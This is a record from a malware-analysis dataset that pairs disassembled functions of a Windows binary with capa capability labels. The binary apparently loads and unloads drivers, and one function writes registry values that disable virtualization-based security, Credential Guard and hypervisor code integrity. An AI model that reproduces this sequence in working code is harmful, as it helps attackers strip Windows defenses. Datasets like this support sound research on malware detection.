joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003e120
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rdi, qword [0x1406634a0]
mov ebp, edx
movaps xmmword [rsp + 0x30], xmm6
mov r10, rcx
mov r9d, dword [rdi + 0x4a08]
mov rbx, qword [rdi + 0x4008]
bts r9d, 8
mov dword [rdi + 0x4a08], r9d
mov dword [rdi + 0x4a40], 1
cmp qword [rbx + 0x1b8], 0
jne 0x14003e180
cmp qword [rdi + 0x4df8], 0
mov eax, 0x260
je 0x14003e185
mov eax, 0x230
movss xmm2, dword [rbx + rax]
lea rcx, [rsp + 0x60]
movss xmm3, dword [rbx + rax + 4]
subss xmm3, dword [rbx + 0x114]
subss xmm2, dword [rbx + 0x110]
mov rdx, qword [r8]
call fcn.140046fb0
movsd xmm0, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
or r9d, 2
movsd qword [rdi + 0x4a28], xmm0
xor edx, edx
mov dword [rdi + 0x4a08], r9d
mov dword [rdi + 0x4a10], 1
mov r9, qword [rbx + 8]
test r10, r10
je 0x14003e1f7
mov dword [rsp + 0x28], ebp
lea r8, str._s__s__08X
mov qword [rsp + 0x20], r10
call fcn.1400375a0
jmp 0x14003e207
lea r8, str._s__08X
mov dword [rsp + 0x20], ebp
call fcn.1400375a0
mov rcx, qword [rsp + 0x60]
xor edx, edx
movss xmm6, dword [rdi + 0x3918]
mov r8d, 0x1000107
call fcn.140040c50
mov rsi, qword [rdi + 0x4008]
movzx r14d, al
movss dword [rdi + 0x3918], xmm6
cmp word [rsi + 0xcc], 1
mov dword [rsi + 0x88], ebp
jne 0x14003e251
movsd xmm0, qword [rsi + 0x28]
movsd qword [rbx + 0x110], xmm0
mov r9d, ebp
lea rdx, [0x1401f75d1]
not r9d
lea r10, [0x1401ea4f0]
mov ebx, r9d
mov r8b, 0x23
nop dword [rax + rax]
cmp r8b, 0x23
jne 0x14003e283
cmp byte [rdx], r8b
jne 0x14003e283
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x14003e270
not ebx
cmp dword [rdi + 0x406c], ebx
jne 0x14003e2b3
xor edx, edx
xor ecx, ecx
call fcn.14003a680
cmp dword [rdi + 0x4b40], ebp
jne 0x14003e2f8
cmp word [rsi + 0x16c], 0
jne 0x14003e2ce
cmp byte [rsi + 0x172], 0
je 0x14003e2f8
xor edx, edx
mov rcx, rsi
call fcn.140043430
xor edx, edx
mov rcx, rsi
call fcn.140049570
mov rdx, rsi
mov ecx, ebx
call fcn.14003a680
mov eax, dword [rdi + 0x4b6c]
mov dword [rdi + 0x4098], eax
mov rbx, qword [rsp + 0x68]
movzx eax, r14b
mov rbp, qword [rsp + 0x70]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x140043d50
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0x100]
lea r11, [0x1401ea4f0]
mov rax, qword [rcx + 0x108]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
sar eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
sar eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov eax, r10d
xor rdx, rcx
sar eax, 0x18
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x4054], ebx
jne 0x140043de8
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.14004dec0
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x140043df0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
movss xmm0, dword [rcx + 0x120]
lea r10, [0x1401ea4f0]
mov rax, qword [rcx + 0x108]
movss xmm1, dword [rcx + 0x124]
movss xmm2, dword [rdx]
movss xmm4, dword [rdx + 8]
subss xmm2, xmm0
movss xmm3, dword [rdx + 4]
subss xmm4, xmm0
movss xmm0, dword [rdx + 0xc]
subss xmm3, xmm1
movsxd rcx, dword [rcx + 0x100]
subss xmm0, xmm1
movd r8d, xmm2
movss dword [rsp], xmm2
mov r9d, dword [rax + rcx*4 - 4]
movzx eax, byte [rsp]
not r9d
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
movss dword [rsp + 4], xmm3
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
movss dword [rsp + 8], xmm4
movss dword [rsp + 0xc], xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 4]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm3
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 8]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm4
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
shr eax, 8
movzx edx, al
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
mov eax, r8d
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0xc]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
shr r8, 0x18
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx edx, r9b
shr r9d, 8
xor r8, rdx
xor r9d, dword [r10 + r8*4]
not r9d
mov eax, r9d
add rsp, 0x18
ret
Function at 0x140047bd0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [0x1406634a0]
mov edi, ecx
cmp byte [rbx + 0x4d2d], 0
jne 0x140047c22
cmp byte [rbx + 0x4d2e], 0
jne 0x140047c22
movsx r9d, word [rbx + 0x5e98]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.140037520
test dil, 2
je 0x140047d4f
jmp 0x140047cad
movss xmm1, dword [rbx + 0x39c4]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5e98]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x1401ff2fc]
mov edx, reloc.WS2_32.dll_recv
mulss xmm1, dword [0x1401ff2e8]
addss xmm0, dword [rbx + 0xf8]
addss xmm1, dword [rbx + 0xfc]
mov qword [rbx + 0x4a20], rax
mov dword [rbx + 0x4a0c], 1
movss dword [rbx + 0x4a18], xmm0
movss dword [rbx + 0x4a1c], xmm1
movss xmm0, dword [rbx + 0x3a20]
mulss xmm0, dword [0x1401ff240]
or dword [rbx + 0x4a08], 0x41
movss dword [rbx + 0x4a68], xmm0
call fcn.140037520
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140047d00
lea r11, [0x1401ea4f0]
nop dword [rax]
cmp r9b, 0x23
jne 0x140047ce3
cmp byte [r8], r9b
jne 0x140047ce3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140047cd0
not ecx
call fcn.14003e5f0
test rax, rax
je 0x140047d4f
cmp byte [rax + 0xbe], 0
je 0x140047d4f
mov byte [rax + 0xc3], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xc5], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xe4], 1
mov edx, reloc.WS2_32.dll_recv
inc word [rbx + 0x5e98]
movsx r9d, word [rbx + 0x5e98]
call fcn.140037520
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x2030347
call fcn.140040c50
mov rbx, qword [rsp + 0x40]
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x14004cc60
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x1406634a0]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x14004ccc3
mov qword [rsp], rbx
lea rbx, [0x1401ea4f0]
nop dword [rax]
cmp r9b, 0x23
jne 0x14004cca3
cmp byte [r8], r9b
jne 0x14004cca3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x14004cc90
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5f60]
not eax
mov r8, qword [r10 + 0x5f68]
lea rdx, [rcx + rcx*8]
lea rcx, [r8 + rdx*8]
cmp r8, rcx
je 0x14004ccef
cmp dword [r8 + 8], eax
je 0x14004ccf6
add r8, 0x48
cmp r8, rcx
jne 0x14004cce0
xor eax, eax
add rsp, 8
ret
mov rax, r8
add rsp, 8
ret

Function at 0x14005dec0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push r14
push r15
mov r15, rcx
mov r14, r8
mov rbp, rdx
sub r15, qword [r8 + 0x30]
je 0x14005e04f
test byte [r8 + 0x5e], 0x40
jne 0x14005dee8
xor al, al
pop r15
pop r14
pop rbp
ret
movzx edx, word [r14 + 0x14]
movzx eax, word [r14 + 6]
add rdx, 0x18
mov r8d, dword [r8 + 0xb0]
add rdx, r14
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x14005e04f
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14005df23
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14005df34
add rdx, 0x28
cmp rdx, r9
jb 0x14005df11
mov al, 1
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 0x30], rdi
mov edi, dword [rdx + 0x14]
sub rdi, rcx
mov qword [rsp + 0x38], r12
mov r12d, dword [r14 + 0xb4]
add rdi, r8
add rdi, rbp
add r12, rdi
test rdi, rdi
je 0x14005e045
cmp rdi, r12
jae 0x14005e045
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], rsi
mov eax, dword [rdi + 4]
test eax, eax
je 0x14005e03b
add eax, 0xfffffff8
shr eax, 1
je 0x14005e02c
lea rbx, [rdi + 8]
mov esi, eax
nop dword [rax]
movzx r9d, word [rbx]
movzx eax, r9w
shr ax, 0xc
and r9d, 0x80000fff
jge 0x14005dfb2
dec r9d
or r9d, 0xfffff000
inc r9d
cmp ax, 3
je 0x14005dfbe
cmp ax, 0xa
jne 0x14005e01e
movzx r11d, word [r14 + 0x14]
movzx r8d, word [r14 + 6]
add r11, 0x18
mov r10d, dword [rdi]
add r11, r14
mov rax, r11
lea rcx, [r8 + r8*4]
lea rdx, [r11 + rcx*8]
cmp r11, rdx
jae 0x14005e013
mov edx, dword [rax + 0xc]
cmp r10, rdx
jb 0x14005dff4
mov ecx, dword [rax + 8]
add ecx, edx
cmp r10, rcx
jb 0x14005e005
lea rdx, [r8 + r8*4]
add rax, 0x28
lea rcx, [r11 + rdx*8]
cmp rax, rcx
jmp 0x14005dfe0
mov ecx, dword [rax + 0x14]
sub rcx, rdx
add rcx, r10
add rcx, rbp
jne 0x14005e016
mov rcx, rbp
movzx eax, r9w
add qword [rax + rcx], r15
add rbx, 2
sub rsi, 1
jne 0x14005df90
mov eax, dword [rdi + 4]
add rdi, rax
cmp rdi, r12
jb 0x14005df70
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
mov al, 1
pop r15
pop r14
pop rbp
ret
Function at 0x140062ee0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x2c0
mov rbx, rcx
xor edi, edi
xor edx, edx
mov r8d, 0x20a
lea rcx, [rsp + 0xb0]
call fcn.1401a34b0
lea rdx, [rsp + 0xb0]
mov ecx, 0x105
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x104
ja 0x140062f69
lea rcx, [rsp + 0xb0]
mov rax, 0xffffffffffffffff
lea rax, [rax + 1]
cmp word [rcx + rax*2], di
jne 0x140062f42
cmp word [rsp + rax*2 + 0xae], 0x5c
jne 0x140062f5f
mov word [rsp + rax*2 + 0xae], di
lea rdx, [rsp + 0xb0]
jmp 0x140062f8b
lea rdx, str.____Failed_to_get_temp_path
lea rcx, [0x140662140]
call fcn.1400688a0
mov rcx, rax
call fcn.140068b60
lea rdx, [0x1401fad80]
lea rcx, [rsp + 0x40]
call fcn.140061cc0
nop
cmp qword [rsp + 0x50], 0
jne 0x140062fb2
lea rdx, [0x1401fad80]
mov rcx, rbx
call fcn.140061cc0
jmp 0x140063049
lea rcx, [rsp + 0x88]
call fcn.140062d20
mov rbp, rax
mov rdi, qword [rsp + 0x50]
lea r14, [0x1401fad84]
mov rcx, r14
call fcn.140061ea0
mov rsi, rax
lea rcx, [rsp + 0x40]
call fcn.140061c10
sub rax, rdi
cmp rax, rsi
jb 0x140063074
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova r9, qword [rsp + 0x40]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14006b150
nop
mov r9, rbp
lea r8, [rsp + 0x68]
mov rcx, rbx
call fcn.14006af60
nop
lea rcx, [rsp + 0x68]
call fcn.140061ca0
nop
lea rcx, [rsp + 0x88]
call fcn.140061ca0
nop
lea rcx, [rsp + 0x40]
call fcn.140061ca0
mov rax, rbx
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
call fcn.1400053f0
nop
int3
Function at 0x14006bd80
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov eax, 0x5a4d
mov r8, rdx
cmp word [rcx], ax
jne 0x14006beb2
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x14006beb2
test rax, rax
je 0x14006beb2
mov edx, dword [rax + 0xd8]
test edx, edx
jne 0x14006bddd
lea rdx, str.___Load_config_directory_wasnt_found__probably_StackCookie_not_defined__fix_cookie_skipped
lea rcx, [0x140662140]
call fcn.1400688a0
mov rcx, rax
call fcn.140068b60
mov al, 1
add rsp, 0x28
ret
mov qword [rsp + 0x20], rdi
mov rdi, qword [rdx + rcx + 0x58]
test rdi, rdi
jne 0x14006be13
lea rdx, str.___StackCookie_not_defined__fix_cookie_skipped
lea rcx, [0x140662140]
call fcn.1400688a0
mov rcx, rax
call fcn.140068b60
mov rdi, qword [rsp + 0x20]
mov al, 1
add rsp, 0x28
ret
sub rcx, r8
mov qword [rsp + 0x38], rsi
add rdi, rcx
movabs rsi, 0x2b992ddfa232
lea rcx, [0x140662140]
cmp qword [rdi], rsi
je 0x14006be59
lea rdx, str.____StackCookie_already_fixed___this_probably_wrong
call fcn.1400688a0
mov rcx, rax
call fcn.140068b60
mov rsi, qword [rsp + 0x38]
xor al, al
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
lea rdx, str.___Fixing_stack_cookie
mov qword [rsp + 0x30], rbx
call fcn.1400688a0
mov rcx, rax
call fcn.140068b60
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movabs rax, 0x2b992ddfa233
xor rcx, rbx
mov rbx, qword [rsp + 0x30]
xor rcx, rsi
cmp rcx, rsi
mov rsi, qword [rsp + 0x38]
cmove rcx, rax
mov al, 1
mov qword [rdi], rcx
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
xor al, al
add rsp, 0x28
ret
Function at 0x14006c890
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rsi, rdx
mov rdi, rcx
xor r8d, r8d
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x14006c997
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14006c997
test rax, rax
je 0x14006c997
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r8
mov ecx, dword [rax + 0xb0]
test ecx, ecx
jne 0x14006c8ff
mov qword [rdi], r8
mov qword [rdi + 8], r8
mov qword [rdi + 0x10], r8
jmp 0x14006c9a2
lea rbx, [rdx + rcx]
mov ebp, dword [rax + 0xb4]
add rbp, rbx
mov rcx, qword [rsp + 0x30]
cmp rbx, rbp
jae 0x14006c985
mov edx, dword [rbx + 4]
test edx, edx
je 0x14006c985
mov eax, dword [rbx]
add rax, rsi
mov qword [rsp + 0x40], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x48], rax
lea rax, [rdx - 8]
shr rax, 1
mov dword [rsp + 0x50], eax
cmp rcx, r8
je 0x14006c95e
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm1
add rcx, 0x18
mov qword [rsp + 0x30], rcx
jmp 0x14006c97a
lea r8, [rsp + 0x40]
mov rdx, rcx
lea rcx, [rsp + 0x28]
call fcn.14006d050
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov eax, dword [rbx + 4]
add rbx, rax
cmp rbx, rbp
jb 0x14006c916
mov rax, qword [rsp + 0x28]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], r8
jmp 0x14006c9a2
mov qword [rcx], r8
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r8
mov rax, rdi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x14006dac0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rbx, rcx
lea rcx, [0x1401e9c98]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x14006dccb
lea rcx, str.RegistryMachineSystemCurrentControlSetServices_
call fcn.140061ea0
mov rsi, rax
mov rbp, qword [rbx + 0x10]
mov rcx, rbx
call fcn.140061c10
sub rax, rbp
cmp rax, rsi
jb 0x14006dcea
mov rax, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14006db27
mov rax, qword [rbx]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, str.RegistryMachineSystemCurrentControlSetServices_
mov r8, rbx
lea rcx, [rsp + 0x70]
call fcn.14006b150
nop
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, str.SYSTEMCurrentControlSetServices_
call fcn.140061ea0
mov rsi, rax
mov rbp, qword [rbx + 0x10]
mov rcx, rbx
call fcn.140061c10
sub rax, rbp
cmp rax, rsi
jb 0x14006dce4
mov rax, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14006db9e
mov rax, qword [rbx]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, str.SYSTEMCurrentControlSetServices_
mov r8, rbx
lea rcx, [rsp + 0x50]
call fcn.14006b150
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea r8, [rsp + 0xa8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x14006dbf7
cmp eax, 2
sete bl
jmp 0x14006dcb3
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.NtUnloadDriver
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x40]
call rax
mov ebx, eax
lea rdx, str.___NtUnloadDriver_Status_0x
call fcn.140068c00
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, ebx
mov rcx, rax
call fcn.14006c160
mov rcx, rax
call fcn.140068b60
test ebx, ebx
je 0x14006dc8f
lea rdx, str.____Driver_Unload_Failed__
call fcn.140068c00
mov rcx, rax
call fcn.140068b60
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
xor bl, bl
jmp 0x14006dcb3
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
test eax, eax
jne 0x14006dc8b
mov bl, 1
lea rcx, [rsp + 0x50]
call fcn.140061ca0
nop
lea rcx, [rsp + 0x70]
call fcn.140061ca0
movzx eax, bl
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1400053f0
nop
call fcn.1400053f0
int3
Function at 0x14006df90
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x40
mov rsi, rcx
lea r9, [rsp + 0x68]
xor r14d, r14d
mov ecx, listen
xor r8d, r8d
mov dword [rsp + 0x68], r14d
xor edx, edx
mov ebx, r14d
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14006e013
test rbx, rbx
je 0x14006dfd9
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x68]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x68]
lea r9, [rsp + 0x68]
mov rdx, rax
mov ecx, listen
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14006dfc3
test eax, eax
jns 0x14006e038
test rbx, rbx
je 0x14006e03d
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
test rbx, rbx
jne 0x14006e048
xor eax, eax
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x70], rdi
mov edi, r14d
cmp dword [rbx], r14d
jbe 0x14006e116
nop
mov eax, edi
xorps xmm0, xmm0
imul rcx, rax, 0x128
movups xmmword [rsp + 0x20], xmm0
movzx edx, word [rcx + rbx + 0x2e]
lea rbp, [rcx + rbx]
add rdx, 0x30
mov qword [rsp + 0x30], r14
add rdx, rcx
mov qword [rsp + 0x38], r14
add rdx, rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x14006e095
lea rcx, [rsp + 0x20]
call fcn.140008100
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x14006e0b5
mov rdx, qword [rsi]
cmp qword [rsp + 0x38], 0xf
lea rcx, [rsp + 0x20]
cmova rcx, qword [rsp + 0x20]
call fcn.14017fb30
test eax, eax
je 0x14006e13c
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14006e10c
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e107
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e18f
call fcn.14015d5e8
inc edi
cmp edi, dword [rbx]
jb 0x14006e060
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
mov rdi, qword [rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14006e18a
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e185
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e18f
call fcn.14015d5e8
mov rax, rdi
jmp 0x14006e129
call fcn.140170074
int3
Function at 0x14006e5f0
Capabilities:
Disable device guard features via registry on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
xor ebx, ebx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rbx
lea rdx, str.SYSTEMCurrentControlSetControlDeviceGuard
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 2
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x60], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14006e676
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.EnableVirtualizationBasedSecurity
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
test eax, eax
je 0x14006e67e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add rsp, 0x50
pop rbx
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea rdx, str.SYSTEMCurrentControlSetControlLsa
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14006e676
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.LsaCfgFlags
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
test eax, eax
jne 0x14006e670
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea rdx, str.SYSTEMCurrentControlSetControlDeviceGuardScenariosHypervisorEnforcedCodeIntegrity
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], ebx
